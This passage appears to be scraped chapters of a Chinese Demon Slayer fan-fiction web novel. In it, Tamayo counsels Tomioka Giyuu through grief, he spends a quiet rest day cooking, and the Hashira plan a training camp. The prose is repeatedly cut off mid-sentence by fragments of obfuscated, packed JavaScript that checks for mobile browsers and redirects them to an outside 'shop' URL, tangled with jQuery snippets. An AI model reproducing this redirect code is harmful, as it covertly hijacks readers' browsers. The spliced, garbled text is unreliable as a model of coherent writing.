“这也是我和产屋敷耀哉达成的合作内容之一,鬼杀队会尽可能为我带来血液样本,其中最有研究价值的,也就是十二鬼月的血。” “而这个工具只要扎到鬼的身上,就可以自动抽取鬼的血液。” “这个工具很快就会量产,鬼杀队的队员会人手一份,并定期会为我运输这些血液样本。” 珠世看向富冈义勇,用商量的语气问他:“这些血液样本很关键,义勇,你可以来帮我运输它们吗?” 这也是治疗时常用的一种手段,转换说法,将主体从富冈义勇转移到珠世自身上。 富冈义勇低垂着眼眸,拿着盒子的双手微微用力。他理解珠世的好意,她将他的排斥转换成他的无法拒绝。 “我不知道我该如何回应你们的好意……”富冈义勇抬起头,眼里带着迷茫,“除了谢谢,我不知道该怎么做。” “你们都在照顾我,关心我,可我该怎么回馈你们的好意?” 珠世揉了揉他的头:“家人之间,本就不该这么客气,很多时间是连谢谢都不用说的。” 富冈义勇愣住。 家人…… 鬼杀队,是他的家吗? 记忆像是被投入石子的水中月,一阵阵地泛起涟漪。一个接一个地从脑海深处涌出。 和父母在一起的时光,和姐姐相依为命的日子,和锖兔还有鳞泷老师在狭雾山的那些日子。 眼泪,从脸颊划过。 村田他们的关照,炼狱杏寿郎对他的尊敬和关心,宇髄天元和悲鸣屿行冥对他的照料,还有主公和珠世对他的忧心。 富冈义勇捂住胸口,轻轻咳出声。 心脏有些痛,呼吸也变得不畅。 家…… 不是自己住着的竹林,而是有着家人的家…… “咳!”富冈义勇攥紧了胸口。 珠世没有抱住他,而是轻拍着他的后背:“义勇,想想那些快乐而又幸福的日子。他们的逝去的确很悲伤,但你还有和他们珍贵回忆。” “不要压制悲伤,也不要刻意回避。” “听我的指导,调整你的呼吸。” 珠世通过言语去引导着富冈义勇一呼一吸,并引导着他去触碰回忆。 伤口的愈合注定与疼痛相伴,但在风雨洗礼之后,一定会碰见七彩的虹。 32.第 32 章 悲伤像是翻滚着怒涛的大海,会在顷刻间将海面上的所有人事物吞没。 在黯淡无光的海水里,窒息的痛苦随之而来。 珠世的声音像是救援人员丢出的绳索,富冈义勇挣扎着,努力去握那根绳子。 记忆闪回得越来越快,声音越来越繁杂,全部杂糅在一起,让富冈义勇的头也有些疼起来。 他想要让自己不再回忆,也不再回想,但珠世的话像是清风,替他将这些层层叠叠的记忆梳理好。 “你的家人很爱你,鬼杀队的队员很喜欢你,不要抵触这些事情。” “义勇,要好好长大哦。” “义勇,姐姐希望你幸福。” “义勇,我们一定会成为很好的搭档。” “富冈,我们会努力追上你的!” “富冈先生是个温柔又善良的人。” 杂乱的话语变得清晰,一丝暖意也从内心深处升起。 但在暖意覆盖全身前,富冈义勇的眼前变得昏暗。 因为情绪的翻涌,身体的不适,让他直接失去了意识。 珠世连忙扶住他的身体,又轻轻地将他放倒,让他躺在沙发上。 她拿出一个手帕,擦去了富冈义勇的泪痕。 在心理疏导时,患者会昏迷也是正常现象的。 珠世想了想,还是划破了手腕,让血鬼术让他包裹。 鲜花美丽,自带芳香,在闪烁的血鬼术里,富冈义勇挣扎的意识渐渐平静。 就这样好好睡一觉吧。 “珠世大人,你去回房休息吧,我会看着他。”愈史郎走了出来。 珠世摇摇头:“没事的。我去二楼继续研究,让他睡一个小时,到时候再叫醒他。” “好,我明白了。”愈史郎回答。 珠世上到了二楼,翻开一个全新的笔记本,在上面写下了富冈义勇的名字。 病因、症状以及诊疗方案,她一一记录了下来。 作为医者,她有很多个医案。 在将富冈义勇的情况记录完,她将笔记本收了起来。在开始工作前,珠世看了一眼桌上另一个笔记本。 上面的名字是,产屋敷耀哉。 珠世叹了口气,一个两个的真是让人没办法。 愈史郎在一楼观察了富冈义勇一会,见他呼吸平稳,就不再守着,直接进了厨房。 香甜的味道从厨房传出来。 在一个小时后,愈史郎端出来一盘糕点,放到了富冈义勇身旁的桌子上,又将珠世大人的血鬼术挥散。 “喂,醒醒。”愈史郎的话毫不客气,动作却又很轻。 没了血鬼术的影响,富冈义勇也很快清醒了过来。 和上次泡完温泉很像,他感觉身体轻松了不少。 原来不压制情绪,只是哭一场,会这样吗? 富冈义勇缓缓起身,抚上自己的心口。 “醒了?”愈史郎将糕点朝他推了推,“不是特意给你做的,你想吃就吃。” “我去叫珠世大人下来,你在这坐着等。”说完,愈史郎就上楼去了。 富冈义勇眨了眨眼,目送愈史郎上楼,抬手拿了一块糕点过来。 还很温热,一看就是刚做好的。 富冈义勇慢慢吃着,就着茶水吃了好几块糕点。 等珠世下来的时候,满满的盘子已经空了一半。 愈史郎很满意。 他的手艺可是连珠世大人都夸赞的。 吃饱喝足,还睡了一觉的富冈义勇觉得自己的状态空前的好。 珠世坐到对面,再次和他谈起运输血液样本的话题。 富冈义勇没再拒绝,接下了这个任务。 “义勇,负面情绪不是忽略就不存在,刻意地压制就像是把木炭丢进尚未爆发的火山里。总有一天会爆发,而你也会承受不住。”珠世缓缓地说着。 富冈义勇捧着茶杯,看着清澈的茶水:“我明白了。” 就按珠世小姐说的来做吧,条件允许的时候,一周里面给自己放一天假。回去也要买个笔记本和笔,去记录东西。 在和珠世简单聊了几句后,富冈义勇就和他们告辞了,取血工具他也带走了一个。 宽三郎落到他的肩膀上,问他怎么样。宽三郎之前没有进屋子,留在外面等着他。 “珠世小姐给了我很多建议,以后每个月也要来见她一次。”富冈义勇将刚刚的事简单和宽三郎说了说。 “宽三郎,陪我去买个本和笔吧。”富冈义勇边走边说。 宽三郎扇了下翅膀,飞了起来,给他带路:“好。” 买好笔记本和笔,富冈义勇就放到了自己的卧室。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186739|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 现在时间还早,他想了想,还是问了问宽三郎有没有任务要做。 宽三郎无奈,但还是将最新的消息告诉了他。 “好,那我们去那边看看吧。” 整理好衣服,将刀佩戴好,富冈义勇跟着宽三郎出了门。 赶路,调查,杀鬼,取血,休息。 一如既往。 人的改变不是朝夕之间,而是知道问题,努力踏出的那一步。 “笨蛋,这么久了,才发觉自己有问题。” 刚刚杀完鬼的富冈义勇正靠在树干旁闭目休息,仿佛风声一样的话语让他睁大了眼睛。 漆黑的夜色,安静的树林,空无一人。 富冈义勇有些茫然。 幻听吗?可锖兔明明很少骂他。 宽三郎注意到富冈义勇的动作,飞下来问他怎么了。 富冈义勇摸了摸他的脊背,脑袋还在四处望着:“我好像听到了锖兔的声音。” 可锖兔明明已经死了…… 果然还是幻听吧。 “没事,继续休息吧。” 在清冷月光的照射下,无法被听见的叹息融入了夜色。 在天亮之后,富冈义勇便往家走。 “宽三郎,后天是不是要讨论特训的事了?”富冈义勇边走边问宽三郎。 “对,最终选拔快开始了,你们几个柱要提前商定训练内容。”宽三郎回答。 当初既然答应了主公要训练新人,富冈义勇也不会再推脱。 可他能负责什么呢? 他好像只有实战能力比较高。要他和新人直接切磋吗?但很多新人的实力并不强,贸然和他切磋,会打击他们的信心吗? 虽然他之前一直心心念念和炼狱杏寿郎比试,但那是他能感觉出来炼狱的实力和他相差并不多。 作为新人的特训,还是不能这么严格。他当年特训的时候,宇髓先生和悲鸣屿先生都说那些东西是简化过的。 富冈义勇陷入了思考。 在回到家以后,他也没有想出合适的方法。 在简单洗漱和用餐后,富冈义勇就准备休息。 他拿出了新买的本子,想了想,然后动笔。 杀完鬼之后,在林子里休息,忽然听到了锖兔的声音,四处望了望,什么都没有,应该只是幻听。 33.第 33 章 富冈义勇如约参加了会议。 这是四个柱之间召开的小会,产屋敷耀哉并没有参与。为了方便,他们约好了在鬼杀队的治疗室见面。 蝴蝶香奈惠是最轻松的那一个,因为她住的地方就在治疗室附近。她有些医疗基础,在成为柱以后,也开始参与治疗室的一些工作。 治疗室的医生很是喜欢她,说自己也十分喜欢蝴蝶。两个人一拍即合,直接把治疗室的名字改成了蝶屋。 产屋敷耀哉对治疗室改名一事并无意见,见两个管理者兴致勃勃,就随了他们的意。 只是苦了后面特训上理论课的队员,需要将教案里面的治疗室挨个修改。 在开会这天,蝴蝶香奈惠很早就在房间里等着了。她还有一个妹妹,叫做蝴蝶忍。 蝴蝶忍帮姐姐端来茶水和点心,摆在屋子的中央。 蝴蝶香奈惠双手合住,放在脸颊旁边:“小忍,不要一直板着脸,姐姐喜欢你的笑容。” 温柔的话语里,满是亲近。 蝴蝶忍轻哼了一声,整个人都气鼓鼓的:“都是用毒,那个女人为什么那么厉害?!” 不甘心! 蝴蝶香奈惠轻锤她的肩膀:“因为小忍还小啊,珠世小姐活了这么久,肯定懂得比较多。小忍这么聪明,未来一定能研制出来更厉害的毒药。” 在当初开完柱合会议后,产屋敷耀哉就安排了蝴蝶忍跟着珠世一起研制药物。 蝴蝶忍的力气比较小,但对鬼的身体和构造非常有研究。在和姐姐蝴蝶香奈惠一起出任务时,也全是用毒击杀的鬼。 在得知要和身为鬼的珠世一起合作时,蝴蝶忍是非常不乐意的。她不喜欢鬼,也不觉得和鬼合作是件好事。 蝴蝶香奈惠在旁边劝了好久,才把她劝过去,就是回来以后的蝴蝶忍更生气了。 因为珠世小姐懂得真的很多,蝴蝶忍在她的身边学到了不少的东西。 她不喜欢鬼,却又不得不承认珠世的能力,这让她非常不甘心。 “姐姐,我继续去研究了,不打扰你们开会。”蝴蝶忍抱着托盘离开了房间。 蝴蝶香奈惠笑着眯起眼睛,做出加油的姿势:“小忍加油哦!” 没过多久,四个人就来齐了。 富冈义勇想了两天,还是觉得他的实战能力是最好的,除了和新人对打,他也没想出更合适的训练方法。现在和其他三个人坐在一起,他有种莫名的心虚感。 一向稳重的悲鸣屿行冥首先开口:“特训为期三十天,前三天为理论授课,也就是还剩下二十七天。每个人平均分的话,是三个人七天,一个人六天。而有关训练的内容,我负责的部分和以前一样,是意志和下肢力量的训练。” 宇髄天元依旧华丽不减,接着道:“我还是负责新人的基础力量和夜间战斗能力。” 蝴蝶香奈惠脸上带着笑意,温和地说着自己的想法:“我可以负责教导新人如何利用周围环境来制造优势。” 宇髄天元和悲鸣屿行冥想了想,觉得没问题。和鬼战斗的时候什么地形都有,学会利用环境也是很重要的技能。 三个人看向了富冈义勇。 富冈义勇抿唇,犹豫了一下,缓缓道:“我可以和新人进行实战训练。” 三个人思考,然后齐齐点头。 富冈义勇各个方面的能力都很强,让新人和他实战切磋也是个不错的主意。 见大家没有反对,富冈义勇在心里松了口气。 悲鸣屿行冥安排顺序:“那宇髓的训练还是放在第一个进行,香奈惠的第二个,我的第三个,富冈你排在最后。” 他双手合十,看向富冈义勇:“前三个项目各占用七天,富冈你的实战训练可以作为最后的考核,帮新人找出战斗中存在的问题。实战训练要求可以适度提高,毕竟特训时间短,项目多,如果让新人觉得自己已经达到要求,很可能心生松懈。” 富冈义勇点头,表示自己明白了。 “这次特训地址还是选上次的山吧。”宇髄天元摸了摸额头上亮闪闪的宝石,“有平地,有山坡,树林、瀑布都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190548|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。香奈惠和富冈你们可以随机选区域带新人训练。” 蝴蝶香奈惠笑得眯起眼睛:“好啊,就交给我吧。” 富冈义勇没有意见,实战训练也确实不讲究地点,到时候随机选地方好了。 悲鸣屿行冥道:“在新人到各自的训练项目前,大家可以自行休息。” 宇髄天元想了想,提议:“难得我们四个人凑一起,特训的时候我们四个也互相切磋练习吧?上弦鬼的实力不容小觑,我们也要尽快提高能力才是。” 他很清楚富冈义勇的实力,如果富冈义勇碰到上弦都如此狼狈,只能说明他们和上弦鬼的实力还相差甚远。 富冈义勇点头同意,和猗窝座对战得那种无力感真的很让他心烦。 蝴蝶香奈惠将手合起,放在脸的侧边:“作为新任花柱,我会好好提高自己的实力。” 悲鸣屿行冥很少和人切磋,更多时候都在自己修行。他的招式杀伤力比较大,切磋时多有不便。但既然大家都没有意见,他自然也不会反对:“这样也好。” 就这样,商讨特训的会议顺利结束,四个人还是闲聊。 “蝴蝶,现在治疗室挂上蝶屋的牌子,可是有很多队员以为走错地方了。”宇髄天元看向蝴蝶香奈惠,眼角的红色显得十分艳丽。 “因为我和医生希望大家都能破茧成蝶呀。”蝴蝶香奈惠笑得温柔,紫色的眼睛像是花一样美丽。 治疗,养伤,然后恢复健康。和虫子破茧成蝶的过程很像,不是吗? 最好大家都不要受伤,一直不来蝶屋才好。但实际上治疗室的病床就没有空闲的时候。 悲鸣屿行冥又不禁留下眼泪:“多么美好的名字。” 宇髄天元也点了点头:“这么解释的话,这名字确实不错。” 富冈义勇听着他们闲聊,也不主动说话。 总归不管是蝶屋还是治疗室,都是受伤了以后去的地方,名字而已,叫什么都可以,只要地址没变就好。 在一番友好的交谈里,这次的会议圆满结束。 34.第 34 章 日子缓缓过着,有些相似,也有些不同。虽然答应好珠世一周会完全休息一天,但事情总是会不按计划出现。 忙碌,奔波,战斗,休息。 富冈义勇把自己照顾得很好,每天的记录也都有按时去写,笔记本上的文字也越来越多。 在记录下今天的感受后,富冈义勇将笔记本收了起来,打了个哈欠,困意渐渐涌了上来。 他微微闭上眼,意识已经开始迷蒙:“宽三郎,明天有任务吗?” 宽三郎在地上跳跳,靠近他:“没有了,义勇明天可以好好休息了。” 富冈义勇揉了揉眼睛,呆愣愣地点点头。 那就明天给自己放个假吧。 将被子拉上来,富冈义勇闭上眼睛,迷迷糊糊地给宽三郎说了句晚安。 宽三郎帮他关了灯,在他床边找了位置和他一起休息。 晚安,义勇。 和以前比起来,最大的区别大概就是富冈义勇学会了放松。 等第二天睡醒,富冈义勇直接放空了自己的大脑,眼睛也不知道看哪,显得有些涣散无神。 过了好一会,他才坐起来。 将被子收好,又拿起梳子,慢悠悠地将睡得毛躁的头发梳好。 富冈义勇换下睡衣,难得没有穿队服,而是换了一件休闲的衣服。 准备去拿挂着的羽织时,富冈义勇伸出的手微微收回,但在犹豫后,还是将羽织披在了身上。 日轮刀被富冈义勇放在了家里,出门时并没有带着。 在出门前,富冈义勇去厨房拿出了昆布,剪开以后放到碗里用水泡着。 他的早饭是出去吃的,没有自己做。他去了附近一家面馆,点了一份荞麦面。他的饭量一向很大,现在经费充足,他每次都可以吃得饱饱的。 面馆的店主对富冈义勇很熟悉,见他难得换了身衣服,还很稀奇,过来看了他好几眼。 店主直接端过来三四份面,爽朗道:“这个衣服不错,显得你有精神多了。” 富冈义勇眨眨眼:“谢谢。” 这些年他几乎只穿着队服,这还是第一次换上别的衣服。 店主直接揉了揉富冈义勇的脑袋,大笑着回到了厨房。他还朝后挥挥手:“不够吃和我说,再给你煮。” “好。”富冈义勇对着他的背影回了一句,而店主笑得更开心了。 这家面馆在附近还是很出名的,店里的生意也很红火。 他们家的汤是特制的,很是醇厚鲜美,面条也很劲道,富冈义勇不想自己做饭的时候就会来这里吃。 又续了两次面之后,富冈义勇便吃饱喝足了。他算了算份数,将面的钱给了店主。 店主双手插着腰:“嗯!没有错,后面有时间再来吃啊。” 富冈义勇点点头,就转身出了面馆。 “那孩子就是你一直念叨着的小孩?” “是他。和我家娃差不多大,虽然话不多,但很有礼貌,是个很乖的小孩。” “看上去没你说的那么让人担心啊。” “那不是很好吗?哈哈哈哈哈。” 店里的谈话被门隔绝,富冈义勇什么也没有听到。 这时候太阳还不太大,照在身上暖乎乎的。 富冈义勇找了一个阳光好的地方,直接晒了会太阳。 就这样一个人坐在这里,看着人来人往。 富冈义勇什么都没有想。 等身体被照得软绵绵,有些热的时候,富冈义勇站了起来,去给家里增添食材。 萝卜要买,鲑鱼也要买,一些常用的蔬菜也要买一点。 因为早年经历的缘故,富冈义勇很会挑食材,在几乎能让人看花眼的一堆东西里,他总能选出来最新鲜的那一个。 杂七杂八都买好以后,他才去买鲑鱼。 中午他准备吃萝卜鲑鱼。 双手拎着各种东西,他回到了家里。 他的家在竹林附近,很安静。 有风吹过时,竹叶会发出沙沙的响声。 有雨落下时,竹叶会各自摇晃着身体。 富冈义勇很喜欢这样的宁静。 萝卜鲑鱼做起来很简单。 将萝卜洗净,削皮,切块,放进锅里焯水煮熟。 在煮萝卜的时候,富冈义勇将早上泡着的昆布拿出来,让灶台一边煮着萝卜,一边用小火煮着昆布。 等差不多快好的时候,富冈义勇关掉了火。 用筷子将昆布从锅里取出来,又将木鱼花放进锅里,用余温焖着。 将煮好的萝卜倒出来,生姜切片,鲑鱼切块,另一边的汤底也差不多了。 过滤掉杂质,只留下清澈的汤底。 萝卜和生姜片一同被放进汤里,慢慢炖煮二十分钟。 时间快到的时候,需要加入清酒,鲑鱼块也一起跟着进去。 等里面的东西全部咕嘟咕嘟时,需要把浮沫去掉。 鲑鱼块不需要煮很久,大概三四分钟就可以。 而在出锅前,还需要往里面加入酱油,撒上葱花。 就这样,热腾腾,美味好吃的萝卜鲑鱼就做好了。 即使还没有吃到,只是这样看着,富冈义勇的心里就已经开心起来,就连嘴角也微微上扬起来。 “义勇,在你给自己放假的那天,我希望你当作鬼已经被消灭,什么也不用担心和忧虑。不论是做什么,但一定是你想做的。” 如果真的有天没有鬼,他大概就会像今天一样吧。 姐姐嫁人后,他本就要一个人生活。 他答应过姐姐,他会照顾好自己,也会好好做饭,现在还有很多钱养活自己。 富冈义勇抬起手,擦去眼角的泪珠。 姐姐,我现在过得很好,不用担心我。 不等心中的蔓延开,富冈义勇就不再多想,安心地吃着面前的萝卜鲑鱼。 他果然最喜欢萝卜鲑鱼了。 富冈义勇嚼着萝卜,不自觉地眯起眼睛,有种很明显的开心。 他朝着外面看了看,见外面的天开始有些阴沉。 要下雨了吗?那要把衣服收回来了。 满满一碗的萝卜鲑鱼,富冈义勇全部吃掉了。 清洗厨具,收拾碗筷,把厨房打扫干净。 富冈义勇去了院子,将晾晒的衣服全部都收了回来。 他摸了摸衣服,见基本都已经干了,就直接收到了柜子里。 下午要做点什么? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195611|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >富冈义勇看向了日轮刀,有些犹豫。 珠世小姐说这一天要当做没有鬼的情况来过,如果真的有一天,他也不会再用刀了。 但现在鬼还没有被消灭,他就要继续挥舞手中的刀。 宽三郎察觉到富冈义勇的疑惑,轻声问他:“怎么了,义勇?” 富冈义勇将自己想的告诉他:“我不知道下午要做些什么,现在只能想到去训练。” 宽三郎帮他分析:“义勇喜欢训练吗?” “算不上喜欢?但也不讨厌。”富冈义勇想了想,“但是想去做。” 宽三郎一锤定音:“那就去做就好了。珠世小姐也是让义勇去做自己想做的事。” 富冈义勇点点头,就直接拿起了日轮刀,在院子里开始日常的训练。 体能训练,剑术训练有条不紊地进行着。 等全部结束,天也快黑了。 富冈义勇擦了擦身上的汗珠,准备去泡个澡。 而在泡澡之前,他对着镜子将头发剪短了一些。 说了很久要剪头发,但一直在拖,干脆今天来剪剪吧。 等剪完头发,富冈义勇换上了浴衣,让热水包裹身体,任由外面的天色变黑。 或许是云的影响,外面很黑,几乎没有一丝光。 富冈义勇靠在墙上,闭上了眼,放松着身体,缓解着训练带来的疲惫。 在快睡过去前,他睁开了眼。 水已经变得不再温热,他直接走了出来。 在用毛巾擦身子时,富冈义勇的余光看到外面有什么一闪一闪的。 他望向窗户,手中的动作顿住。 下雪了。 下雪了…… 下雪了吗? 富冈义勇收回了视线,擦干身体之后,换上了睡衣,就回了卧室。 他没有关门,而是坐在屋里看着外面飘落的雪花。 好像已经很久没有在意过下雪了。 他起身,朝外面走了几步,伸出手,去接雪花。 冰冰凉凉的。 富冈义勇收回了手,又回到了屋子里。 就这样什么也不做,看着雪花越飘越大,越积越多。 眼泪和雪花一起飘落,富冈义勇直接抬手捂住胸口。 白色的雪,红色的血。 雪天,总是代表着失去。 父母,姐姐,锖兔。 宽三郎在一旁守着他,眼里满是担心。 富冈义勇低声喘息着,因为心脏的疼痛他甚至直不起身子,一手捂着胸口,一手支在地面。 “妈妈给吹一吹,义勇就不痛啦。” 妈妈…… “我们义勇一定会好起来的。” 脑袋像是被谁抚摸,轻柔而又温暖。 缓过这一阵的疼痛后,富冈义勇急促地呼吸着。 他茫然地看着周围,寻找着自己思念的人,但这里只有他和宽三郎。 富冈义勇低垂下眼眸,不再让自己多想。 他擦了擦脸,起身将门关上,又拿出笔记本和笔,开始今天的记录。 中午吃了萝卜鲑鱼,晚上下雪了,想到了家人和锖兔,忍不住流泪,心脏也在疼,呼吸不上来,还幻听了妈妈的声音。 35.第 35 章 之前珠世提到的取鬼血液的道具已经可以量产了。 珠世很了解鬼舞辻无惨,提取血液样本的事情不能让太多人知道,她和产屋敷耀哉商量过后,还是决定只让甲级队员和几位柱人手一份。 而且这个事情还是要秘密进行,如果泄露出去,可能会打草惊蛇。 鬼杀队的甲级队员不多,柱也只有几位,他们都识大体,明白这件事的要紧程度。 而输送这些血液样本的任务自然落到了富冈义勇的身上。 既然答应了,他就会去做。 一个月里,收集到的血液样本并不多。它们被放在专门的盒子里,以防血液变质。 富冈义勇从产屋敷耀哉那边接过盒子,将它背好,就准备去找珠世。 在他离开前,产屋敷耀哉叫住了他:“义勇……” 产屋敷耀哉在看到珠世送过来的诊断结果时,是有些自责的。是他们的放任与疏忽,才造成了富冈义勇如今的样子。 富冈义勇疑惑地看着产屋敷耀哉,等待着他的吩咐。 产屋敷耀哉捏了捏手指,心里叹息。罢了,迟来的道歉什么也没有用。 他轻轻笑了笑:“过去以后,可以和珠世小姐多聊一聊。” 富冈义勇点头,他已经做好了心理准备,笔记本也带在身上。 “去吧,义勇。” “是。” 看着他的背影,产屋敷耀哉还是忍不住叹了口气。 明明是这么好的孩子…… 他咳嗽了几声,在女儿的搀扶下回到了屋子。 另一边的富冈义勇顺利地到了珠世住的地方。 他将盒子递给愈史郎,又将自己的笔记本拿了出来,递给了珠世。 愈史郎带着血液样本去往了二楼,依旧将一楼的空间留给他们。 富冈义勇坐在沙发上,看着珠世翻看笔记本。 珠世看得很仔细,等全部翻看结束后,问他:“义勇,这上面写着你多次出现幻听,你听到的声音和记忆里的很像吗?” 富冈义勇想了想:“妈妈的很像,但锖兔的不知道,他很少骂我的。” 珠世点头,示意自己明白了。她将笔记本还回去:“你写得很详细,后面也要继续坚持记录。” “好。”富冈义勇回答得很干脆。 珠世又问了问他这些日子里有没有给自己放假。 富冈义勇点头,将放假时自己做的事都告诉了她。 珠世满意地点点头,脸上也带了一丝笑意:“你做得很好,义勇。” 富冈义勇问她:“这个也要坚持去做吗?” 珠世“嗯”了一声:“但可以不限制时间了,你觉得自己太累,需要休息的时候,就给自己放个假。” 她看过去,提出新的方案:“除此之外,义勇,我希望你能试着去写信。” 富冈义勇不解:“写信?” “对。”珠世为他解释,“从你身边的人选择一个或多个,将自己对他的感受和想法或者想说的话,都写出来。” “这封信写好以后,你可以将它送给这个人,也可以自己留下。只要你能写出来。” 义勇对自己的认知是有偏差的,想要让他意识到这件事,就要帮着他主动和人接触。 他说话不多,写信是很好的一个选择。 富冈义勇有些犹豫:“可我不知道该说什么。” 珠世轻轻笑笑,安抚他:“什么都可以。举个例子,比如说我。你在想到我的时候,会认为我是一个怎样的人。今天在见到我之前,会想什么。这些都可以写。” 富冈义勇有些懵懵懂懂,思绪是混乱的。 珠世抬手,抚摸着他的脑袋:“没关系,慢慢写。这些信什么时候都可以去写,也都什么时候可以写好。” “慢慢想,不着急。” 富冈义勇回神,点点头:“好,我知道了。” 除了写信这一点,珠世没再提出新的要求,而是岔开话题,和他聊起别的。 心理疏导本就是为了让人放松,珠世也不想富冈义勇的心弦一直绷着。 “这之后有什么要忙的事情吗?”珠世问道。 富冈义勇老老实回答:“要去准备最终选拔的事情。” 新一届的最终选拔马上要开始了,他也要为这件事做准备。为了新人的安全,这一次的举办地点进行了更换。 为了确保捉到的鬼逃不走,需要在新的地点全部移栽上紫藤花,这个工程很大,隐的人几乎全都被调走,也忙活了很久。 现在移栽差不多已经完成,富冈义勇和其他几个柱还有甲级队员要对场地进行仔细的检查。 而且为了不发生上一届的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199917|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,除了甲级队员会在,四位柱也会分别负责四个区域,就是为了确保新人的安全。 珠世想了想,问他:“义勇,你会排斥负责最终选拔的事情吗?” 富冈义勇思考,片刻后才给出他的答案:“不会。” 他会好好承担水柱的责任,即使他并不是水柱。 想到上一届的最终选拔,想到锖兔的牺牲,他还是会难过。但他明白,这次是不一样的。 他现在有能力,他不会让这一届的新人出现任何意外。 珠世在心里松了口气,他不觉得难受就好。 好在这次的举办地改了地方,不然她还真的不放心富冈义勇就这么去。 等快到中午,他们的谈话才结束,而愈史郎也做好了午饭。 虽然愈史郎看到富冈义勇还是不高兴,但对他的到来还是有点开心的,做了不少好吃的。 在吃过午饭后,富冈义勇就和他们告辞了。 召开最终选拔前还有不少事情要做,富冈义勇现在也是挺忙。 这一次的最终选拔力柱和甲级队员会一起行动,富冈义勇也被分配个好几个队员。 “富冈先生,又见面了!”炼狱杏寿郎的开朗依旧不减。 富冈义勇见到了熟悉的人,也见到了从未见过的人。有对他恭敬的,也有看他不顺眼的。 注意到富冈义勇的视线,这人轻“啧”了一声。他露在外面的身上有很多伤痕,脸上的表情也很不好惹。 富冈义勇站得离他远了一些。 炼狱杏寿郎注意到他的动作,直接笑出来,为他介绍:“那位是不死川实弥,使用的是风之呼吸,是我的前辈。” 不死川实弥比炼狱杏寿郎要更早成为甲级队员,距离成为柱也不远了。 富冈义勇点头,没再多问不死川实弥的事情。但他这幅样子,反倒让不死川实弥不开心了。 冷峻的脸仿佛自带骄傲,柱和甲级队员总是不一样。 有了这个结论,不死川实弥更生气了。 而在一边的富冈义勇完全没有意识,直接领着这几个人开始工作。 不死川实弥再怎么看富冈义勇不顺眼,也是知道什么是正事的,只能老老实实地听着富冈义勇的安排。 就这样,最终选拔如期召开,也顺利结束。 特训随之开始。 36.第 36 章 特训前三天是理论课,富冈义勇他们基本没什么事,白天就凑在一起,两两切磋着。 和悲鸣屿行冥切磋时,就像和厚重的山岩碰上。 强大、巍然,令人生畏。 富冈义勇的斗志完全被激发了出来。 山石难移,但水亦可穿石。 和悲鸣屿行冥对战完后,富冈义勇的双手都在打颤,整个人也累得也不行。 他坐在一个木桩上,擦了擦脸上的汗珠。 真不愧是悲鸣屿先生,力量和速度都完全比不过。 悲鸣屿行冥双手合十站在一边,呼吸不曾有丝毫的紊乱。他去取来水,递给富冈义勇。 “谢谢。”富冈义勇平稳着呼吸,眼睛难得发亮。虽然身体疲惫,但他的精神依旧很兴奋。 与强者交手,是一个很开心的事。 悲鸣屿行冥坐到他的旁边,给他分析刚刚战斗时他的感受。 富冈义勇缓了过来,慢慢喝着水,一边讲自己的感受。 另一边的宇髄天元和蝴蝶香奈惠也比完了,两个人站在一边,脸上都笑眯眯的。 “真是难得看到富冈说这么多话。”宇髄天元揉了揉肩膀,刚刚被打到的地方还有点疼。 别看蝴蝶香奈惠才成为柱,实力也是不容小觑。 “富冈先生看上去很开心。”蝴蝶香奈惠现在负责管理蝶屋,和医生聊天的时候偶尔会提到富冈义勇。 医生很喜欢他,只是偶尔也会发愁。蝴蝶香奈惠问过为什么,但医生并没有说,只是仰天长叹,感概自己的医术不精。 蝴蝶香奈惠不懂,但也没有多问。不过她能感受出来富冈义勇是个温柔善良的人。 宇髄天元失笑着摇头,一直阴沉着脸的小孩,终于多了一点鲜活的气息。 等富冈义勇休息好,两组人互换了对手,这一次富冈义勇对上了宇髄天元。 只能说宇髄天元和悲鸣屿行冥不愧是元老级的柱,他们的实力都是目前的富冈义勇比不上的。 宇髄天元的反应力和灵敏度都很高,音之呼吸的爆发力也很强,富冈义勇打得并不轻松。 最后富冈义勇对上了蝴蝶香奈惠。她使用的花之呼吸很漂亮,花瓣会在空中舞动,但杀机也藏在美丽之下。 在四个人都互相切磋过之后,他们坐在一起休息着。 